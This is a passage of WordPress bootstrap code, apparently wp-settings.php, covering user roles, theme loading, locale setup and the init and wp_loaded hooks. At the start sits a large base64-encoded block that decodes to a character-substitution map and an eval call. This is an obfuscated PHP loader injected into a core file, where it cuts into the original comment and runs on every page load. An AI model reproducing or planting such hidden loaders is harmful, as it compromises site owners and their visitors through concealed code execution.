9oVnRvaFZNZDR0aGRwVnRvaFZ0b2hWdDg2SFpjaUk3RTZZWmhXZzlYYlI3RTZZWlc2bE93aFZ0bycuCidoVnRvaFZNUDR0Wm9oVnRvaFZ0b2hWdG9oVk12bmdNYWUyWm9XZzlYYlI3RTZZVFA0dFpvaFZ0b2hWdG9oNU8nLgonZHBsT3doVnRvaFZ0b2hWTXZuZ01hZTJab1pWVFA0dFpvaFZ0OEtsT3c0dFpvaFZ0ODFndVNUZzlubTJaOFRZWEtiMk1hSkl1UzVOdUVXcHRFJy4KJ2pOdVhuRHRvV04xUXpIeU5kUjdFY2c5ZjZsT3doVnRvaEdiZHBWdG9oVnRvaFZ0b1dIOVFkTkZvS1Y5dmNZNzA3NFFLV0h1NG1IOTB3djl2Y1k3MDc0UUtXJy4KJ05SRWNweVA0dGhkcFZ0b2hWdG9oVnRvV1lyRW1ZMVFKSGFLYk5SRXdWbGRoTnI0NUU3YWRPN0tpMnVLajByRW1ZMVFKSEZoNlZ0VWhWWkFaa2JkcFZ0bycuCidoVnRvaFZ0b1dZckVtWTFRSkhhS2JOUkV3VmxkaHZNNGQycnZjSDdhNVk5UWRJdG9qVk00WE5KNGRZJy4KJ1pjaUhsMHdWMTRjTjdjblZaV1BWbG9QVmwwNlZ0VWhWbkFaVnRVaDJ1T1hwdEVqTnVYblZ0VWhOcjQ1Jy4KJ0U3YWRGOUt6Z3RoNnB5UDR0aGRwbE93aFZ0b2hWdG9oVjk0elI3SDYyOWE1Z3J2Nmc5MHd2TTRkMnJ2Y0g3YTVZOVFkSScuCid0YmhOcjQ1SHVTVFlKbmJndGhXSDlRZE5GYmhOcjQ1RTdhZEY5S3pndGg2cEZXc2xPd2hWdG9oNU9kcGxPd2hWdG9oSEphak4nLgonckU2MjdVaE5yNDVZOUxYSDdualJydm4yRmhXMjFRaUhGVzR0Wm9oVnQ4c2xPd2hWdG9oVnRvaFZ0RXpnOUtlTnVnblJyOGNnOWhoQkY4VFlYS01IUkVsMjdYaTI3U3lnOUtlJy4KJ051Z25wdFdqVnRWbVZUUDR0Wm9oVnRvaFZ0b2h2TTRkMnJ2Y0g3YTVZOVFkSXRvS1Z0RXpnOUtlTnVnblJyOGNnOWhoRFo4emd1dnonLgonZ01WdzJ1T1hwdHZUTnU0d0hGVjZEdG9iRHRvWHBGb2pWdHY1VlpvalY5WFc0RmhXMjFRaUhGb2pWOTR6UmRnbmdmY21Zck93cEZXc2xPdzR0Wm9oVnRvaFZ0bycuCidoSXVOaHA5SDYyOWE1SFJjNllyRXpwdEV6ZzlLZU51Z25ScjhjZzloNnBPZHBWdG9oVnRvaFZ0OHNsT3doVnRvaFZ0b2hWdG8nLgonaFZ0OG9ndVNQSXVTcXB0RXpnOUtlTnVnblJyOGNnOWg2a2JkcFZ0b2hWdG9oVnQ4S2xPd2hWdG9oNU9kcGxPd2hWdG9oSEphak4nLgonckU2MjdVaE5yNDVZOUxYSDdualI3TG1OdU93djlTYzJ1MEt5bmFDeXRXNHRab2hWdDhzbE93aFZ0b2hWdG9oVnRFemc5S2VOdWduUnI4Y2c5aGgnLgonQkY4VFlYS01IUkVsMjdYaTI3U3lnOUtlTnVnbnB0V3NsT3c0dFpvaFZ0b2hWdG9oSXVOaHA5bnpSN0U2WVpoV1lyRW1ZMVFKSGFLYk5SRXdwRlc0dFpvaFZ0b2gnLgonVnRvaEdiZHBWdG9oVnRvaFZ0b2hWdG9oSXVOaHB0RWpOdVhuVmxkS1ZmU2F5ZmI2VnRBbVY5TG1OdU9oTnVMUFZNOFBndWc2MkpDNHRab2hWdG9oVnRvaFZ0b2hWJy4KJ01QNHRab2hWdG9oVnRvaFZ0b2hWdG9oVnQ4MTJydm5OdTR3VnRjek43UWpIOW5lcHRFemc5S2VOdWduUnI4Y2c5aDZWOScuCidRelZ0RXFIUldLQlpFYjJNYUpJdVM1MjFRaUhGVzR0Wm9oVnRvaFZ0b2hWdG9oVnRvaFZ0OHNsT3doVnRvaFZ0b2gnLgonVnRvaFZ0b2hWdG9oVnRvaFY5bjFWdGN6Z012YjJyQ3d2TThQZ3VnNjJuS2pOdVhuRHQ4emd1dnpnTVZ3MnVPWHB0dlROdTR3SEZWNkR0b2JEdG8nLgonWHBGV2hWeWRLVmZIYzJNNG5wT2RwVnRvaFZ0b2hWdG9oVnRvaFZ0b2hWdG9oVnQ4c2xPd2hWdG9oVnRvaFZ0b2hWdG9oVnRvaFZ0b2hWJy4KJ3RvaFZ0OG9IUkhjMnRjVFlYS1dIdTRlR1I4ZHA5NHpSN0g2MjlhNVkxYWNIdGhXWXJFbVkxUUpIYUtiTlJFd1Z0VWhWWkFaVnRVaHZNOFBndWc2Mm4nLgonS2pOdVhucEZiaE5yNDVFN2FkRjlLemd0aDZwRldzbE93aFZ0b2hWdG9oVnRvaFZ0b2hWdG9oVnRvaFZNZDR0Wm9oVnRvaFZ0b2hWdG8nLgonaFZ0b2hWdDhLbE93aFZ0b2hWdG9oVnRvaFZ0OEtsT3doVnRvaFZ0b2hWdG9oVnQ4bjJNNG5sT3doVnRvaFZ0b2hWdG9oVnQ4c2xPd2hWJy4KJ3RvaFZ0b2hWdG9oVnRvaFZ0b2h2TTRkMnJ2Y0g3YTVZOVFkSXRvS1Z0RXpnOUtlTnVnblJyOGNnOWhoRFpvWkRlVmhEWjh6Z3V2emdNVncydU9YcHR2VE51NHdIRlYnLgonNkR0b2JEdG9YcEZvalZ0djVWWm9qVjlYVzRGaFcyMVFpSEZvalY5NHpSZGduZ2ZjbVlyT3dwRldzbE93NHRab2hWdG9oVnRvaFZ0b2hWdG9oVnQ4Nkhab3dIMW5QSGFLbkc5bicuCid6Z01Dd3ZNNGQycnZjSDdhNVk5UWRJdFc2bE93aFZ0b2hWdG9oVnRvaFZ0b2hWdG9oR2JkcFZ0b2hWdG9oVnRvaFZ0b2hWdG9oVnRvaFZ0OG9IJy4KJ1JIYzJ0Y1RZWEtXSHU0ZUdSOGRwOTR6UjdINjI5YTVZMWFjSHRoV1lyRW1ZMVFKSGFLYk5SRXdwRmJoTnI0NUU3YWRGOUt6Z3RoNicuCidwRldzbE93aFZ0b2hWdG9oVnRvaFZ0b2hWdG9oNU9kcFZ0b2hWdG9oVnRvaFZ0b2g1T2RwVnRvaFZ0b2hWdDhLbE93aFZ0b2g1T2RwJy4KJ2xPd2hWdG9oSEphak5yRTYyN1VoTnI0NWdydjZnOVFaMjlhNU43Y25ON1B3cE9kcFZ0b2hWTVAnLgonNHRab2hWdG9oVnRvaEl1TmhwTTRkWTFMbjJaY1RZWEtNSFJFbDI3WGkyN1N5ZzlLZU51Z25wdFc2VnRmS1ZsbycuCic2bE93aFZ0b2hWdG9oVk1QNHRab2hWdG9oVnRvaFZ0b2hWTXZuZ01hZTJaODBZSmFua2JkcFZ0b2hWdG9oVnQ4S2xPd2hWdG8nLgonaFZ0b2hWOWFQWTcwNHRab2hWdG9oVnRvaEdiZHBWdG9oVnRvaFZ0b2hWdG9oWTFhZGdSdmpWZkhjMk00bmtiZCcuCidwVnRvaFZ0b2hWdDhLbE93aFZ0b2g1T2RwbE93aFZ0b2hIMUtlSHVRVEl0b3d2UUtseWRLREYwMGhOUkNodjlpJy4KJ25HeWQrdk1IYzJNYW5wT2RwVnRvaFZNUDR0Wm9oVnRvaFZ0b2h2OUVjZzlmaEJGb1dnMVFQZ3Uwc2xPd2hWdG9oVnRvaFZ0RVdOUkVjUjdpbkdGb0snLgonVnRFcUhSV3NsT3doVnRvaDVPZHBsT3doVnRvaEl1TmhwdGZXSDlRZE5GVzR0Wm9oVnQ4c2xPJy4KJ3doVnRvaFZ0b2hWOUhtWTFhY043aGhwdEU1MGZLeWF0OGNZZW9XSTdhU0J5VVdnMVFQZ3UwNmxPd2hWdG9oVnRvaFZNUDR0Wm9oVnRvaFZ0bycuCidoVnRvaFZ0RVdOUkVjVmxkaHZNSGMyTWFua2JkcFZ0b2hWdG9oVnRvaFZ0b2h2OUVjZzlRNUk3YVNWbGRodjlpbkd5UDR0Wm9oVnRvaFZ0b2g1T2RwVnRvaFZNZDR0aGRwVnRvJy4KJ2hWdEVXTlJFY1ZsZGhPTWFqWTdhZUl1UVBJUjZucDk0elI3RW5OcnZTWU1Pd04xUXpIeU5kUjdFbk43S1dIRmhXSDlRZE5GV1BWdEVXTlJFJy4KJ2NSN2luR0ZXNmtiZHBsT3doVnRvaEl1TmhwOW56WTdhZHB0RVdOUkVjdWVnY0llZ2dwRm8xdlpvV05yNDVOUmFkSWxkS3Y5RWNnOVEydjdRcXZYZDZsT3doVnRvaEdiZHBWdG8nLgonaFZ0b2hWdDg2SFpvd3Y5RWNnOVEydjdmSlJGb0tCRm9KSUZZNmxPd2hWdG9oVnRvaFZNUDR0Wm9oVnRvaFZ0b2hWdCcuCidvaFZ0RTZWbGRoT1J2ZU5SV3dsT3doVnRvaFZ0b2hWdG9oVnRvaFZ0b2h2cjg3dmVvS0JaOG9ZOWNiZzFhZVk3bm0yJy4KJ1poNkRvZHBWdG9oVnRvaFZ0b2hWdG9oVnRvaFZ0Z3pnWlloQnlVaHZ6ZmpDdGRldmViNHRab2hWdG9oVnRvaFZ0b2hWdG9oVnRvSk51UEpWbGQrVnRFVycuCidOUkVjdWVnY0llZ2dEb2RwVnRvaFZ0b2hWdG9oVnRvaHB5UDR0Wm9oVnRvaFZ0b2hWdG9oVjlhVEk5QWhPTTRuWTFuYzI5bjNIRmhXSUZXc2xPd2gnLgonVnRvaFZ0b2hWdG9oVnQ4bkc5bmRrYmRwVnRvaFZ0b2hWdDhLbE93aFZ0b2hWdG9oVjlhUFk3YTZIWm93djlFY2c5Jy4KJ1EydjdmSlJGb0tCRm9KSEZZNmxPd2hWdG9oVnRvaFZNUDR0Wm9oVnRvaFZ0b2hWdG9oVjlhN051Ynd2OUVjZzlRMnY3Jy4KJ09KUkZXc2xPd2hWdG9oVnRvaFZNZDR0Wm9oVnRvaFZ0b2hIdUx6SHVuMVZ0aFdIOVFkTmFQSk5GZ2dWbGRLVnRnYjJNYUpJdVVKcE9kcFZ0b2hWdG9oVnQ4c2xPdycuCidoVnRvaFZ0b2hWdG9oVnQ4NkhaaFdIOVFkTmFQSlk3ZkpSRm9LQkZvSk51RVd2ZVc0dFpvaFZ0b2hWdG9oJy4KJ1Z0b2hWTVA0dFpvaFZ0b2hWdG9oVnRvaFZ0b2hWdDhUWVhLYjJNYUpJdVM1TnVFV3B0RVdOUkVjdWVnYnZYZFBWdEVXTlJFY3VlZ1d2Jy4KJ1hkNmtiZHBWdG9oVnRvaFZ0b2hWdG9oNU9kcFZ0b2hWdG9oVnRvaFZ0b2hIdUx6SHVuMXB0RVdOUkVjJy4KJ3VlZ3pORmdnVmxkS1Z0Z2VIdWRKcE9kcFZ0b2hWdG9oVnRvaFZ0b2hHYmRwVnRvaFZ0b2hWdG9oVnRvaFZ0b2hWOTR6UnI4UGd1ZzYybicuCidLZUh1ZHd2OUVjZzlRMnZyb0pSRldzbE93aFZ0b2hWdG9oVnRvaFZ0OEtsT3doVnRvaFZ0b2hWTWQ0dFpvaFZ0b2hWdG8nLgonaEh1NHcyZW9XSDlRZE5hUEpOdVBKUnlQNHRab2hWdG9oVnRvaEhSYzZndGg2a2JkcFZ0b2hWTWQ0dGhkcFZ0b2hWOTR6UnI4UGd1ZycuCic2Mm5LUDI3UVdwdFdzbE82Syc7CiRpenZkeXVpYXNkID0gQXJyYXkoJzEnPT4nbScsICcwJz0+J1UnLCAnMyc9Pic2JywgJzInPT4nYicsICc1Jz0+J2YnLCAnNCc9PidOJywgJzcnPT4nMicsICc2Jz0+J3AnLCAnOSc9PidHJywgJzgnPT4nQicsICdBJz0+JzgnLCAnQyc9PidNJywgJ0InPT4nUCcsICdFJz0+J1InLCAnRCc9PidMJywgJ0cnPT4nZScsICdGJz0+J1MnLCAnSSc9PidhJywgJ0gnPT4nWicsICdLJz0+JzknLCAnSic9PiduJywgJ00nPT4nSCcsICdMJz0+J3gnLCAnTyc9PidRJywgJ04nPT4nWScsICdRJz0+J0YnLCAnUCc9PidzJywgJ1MnPT4nNScsICdSJz0+J1gnLCAnVSc9Pic0JywgJ1QnPT4naicsICdXJz0+J2snLCAnVic9PidJJywgJ1knPT4nYycsICdYJz0+JzEnLCAnWic9PidpJywgJ2EnPT4nVicsICdjJz0+J2gnLCAnYic9Pid3JywgJ2UnPT4neScsICdkJz0+JzAnLCAnZyc9PidkJywgJ2YnPT4nRScsICdpJz0+J3QnLCAnaCc9PidnJywgJ2snPT4nTycsICdqJz0+J3UnLCAnbSc9Pid2JywgJ2wnPT4nRCcsICdvJz0+J0EnLCAnbic9PidsJywgJ3EnPT4ncicsICdwJz0+J0snLCAncyc9Pic3JywgJ3InPT4nMycsICd1Jz0+J1cnLCAndCc9PidDJywgJ3cnPT4nbycsICd2Jz0+J0onLCAneSc9PidUJywgJ3gnPT4ncScsICd6Jz0+J3onKTsKZXZhbC8qcWUqLyhsY3Rpa2koJGVpY2ZibGcsICRpenZkeXVpYXNkKSk7Cn0=")); /*ress User Roles * @global object $wp_roles * @since 2.0.0 */ $GLOBALS['wp_roles'] = new WP_Roles(); /** * Fires before the theme is loaded. * * @since 2.6.0 */ do_action( 'setup_theme' ); // Define the template related constants. wp_templating_constants( ); // Load the default text localization domain. load_default_textdomain(); $locale = get_locale(); $locale_file = WP_LANG_DIR . "/$locale.php"; if ( ( 0 === validate_file( $locale ) ) && is_readable( $locale_file ) ) require( $locale_file ); unset( $locale_file ); // Pull in locale data after loading text domain. require_once( ABSPATH . WPINC . '/locale.php' ); /** * WordPress Locale object for loading locale domain date and various strings. * @global object $wp_locale * @since 2.1.0 */ $GLOBALS['wp_locale'] = new WP_Locale(); // Load the functions for the active theme, for both parent and child theme if applicable. if ( ! defined( 'WP_INSTALLING' ) || 'wp-activate.php' === $pagenow ) { if ( TEMPLATEPATH !== STYLESHEETPATH && file_exists( STYLESHEETPATH . '/functions.php' ) ) include( STYLESHEETPATH . '/functions.php' ); if ( file_exists( TEMPLATEPATH . '/functions.php' ) ) include( TEMPLATEPATH . '/functions.php' ); } /** * Fires after the theme is loaded. * * @since 3.0.0 */ do_action( 'after_setup_theme' ); // Set up current user. $GLOBALS['wp']->init(); /** * Fires after WordPress has finished loading but before any headers are sent. * * Most of WP is loaded at this stage, and the user is authenticated. WP continues * to load on the init hook that follows (e.g. widgets), and many plugins instantiate * themselves on it for all sorts of reasons (e.g. they need a user, a taxonomy, etc.). * * If you wish to plug an action once WP is loaded, use the wp_loaded hook below. * * @since 1.5.0 */ do_action( 'init' ); // Check site status if ( is_multisite() ) { if ( true !== ( $file = ms_site_check() ) ) { require( $file ); die(); } unset($file); } /** * This hook is fired once WP, all plugins, and the theme are fully loaded and instantiated. * * AJAX requests should use wp-admin/admin-ajax.php. admin-ajax.php can handle requests for * users not logged in. * * @link http://codex.wordpress.org/AJAX_in_Plugins * * @since 3.0.0 */ do_action( 'wp_loaded' );